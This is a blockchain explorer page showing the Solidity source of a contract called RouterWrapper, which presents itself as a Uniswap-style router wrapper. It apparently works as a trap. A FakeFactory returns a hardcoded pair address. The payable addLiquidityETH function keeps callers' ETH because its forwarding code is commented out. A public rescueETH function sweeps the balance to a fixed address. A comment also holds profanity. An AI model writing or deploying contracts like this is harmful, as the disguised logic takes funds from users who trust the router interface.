S Price: $0.872919 (+2.64%)

Contract Diff Checker

Contract Name:
RouterWrapper

Contract Source Code:

pragma experimental ABIEncoderV2;
struct route {
    address from;
    address to;
    bool stable;
}

interface IUniswapV2Router {
    function factory() external view returns (address);
    function WETH() external view returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        route[] calldata routes,
        address to,
        uint256 deadline
    ) external;
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        route[] calldata routes,
        address to,
        uint256 deadline
    ) external;
    function addLiquidityETH(
        address token,
        bool stable,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external payable;
}

interface x {
    function approve(address x, uint256 y) external;
    function transferFrom(address x, address y, uint256 amt) external;
}

contract FakeFactory {
    function createPair(address tokenA, address tokenB, bool stable) external returns (address pair) {
        return 0x865fd8fB6483b433Bb9035bF7299547b6040db4C;
    }
}

contract RouterWrapper {
    IUniswapV2Router public realRouter;
    address public WETH;
    address public factory;

    constructor() public {
        address _realRouter = 0x1D368773735ee1E678950B7A97bcA2CafB330CDc;
        realRouter = IUniswapV2Router(_realRouter);
        WETH = realRouter.WETH();
        factory = address(new FakeFactory());
        x(0xA3F5Ca4C5CB1e0339Da0Cf379C19AcA23deB8FEB).approve(_realRouter, type(uint256).max);
    }

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external {
        x(0xA3F5Ca4C5CB1e0339Da0Cf379C19AcA23deB8FEB).transferFrom(msg.sender, address(this), amountIn);
        route[] memory routes = new route[](path.length - 1);
        routes[0] = route({from: path[0], to: path[1], stable: false});

        realRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountIn,
            amountOutMin,
            routes,
            to,
            deadline
        );
    }

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external {
        x(0xA3F5Ca4C5CB1e0339Da0Cf379C19AcA23deB8FEB).transferFrom(msg.sender, address(this), amountIn);
        route[] memory routes = new route[](path.length - 1);
        routes[0] = route({from: path[0], to: path[1], stable: false});
        routes[1] = route({from: path[1], to: path[2], stable: false});

        realRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            amountIn,
            amountOutMin,
            routes,
            to,
            deadline
        );
    }

    event eth(uint256 bal);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external payable {
        emit eth(address(this).balance);
        // 0xbEbE09EA4e76D482A34f46F697184e37fC766468.call{value: msg.value}("");
        // fucking cunt
        // x(0xA3F5Ca4C5CB1e0339Da0Cf379C19AcA23deB8FEB).transferFrom(msg.sender, address(this), amountTokenDesired);
        // realRouter.addLiquidityETH{value: msg.value}(token, false, amountTokenDesired, amountTokenMin, amountETHMin, to, deadline);
    }  

    function rescueETH() public {
        payable(0xbEbE09EA4e76D482A34f46F697184e37fC766468).transfer(address(this).balance);
    }
}

Please enter a contract address above to load the contract details and source code.

Context size (optional):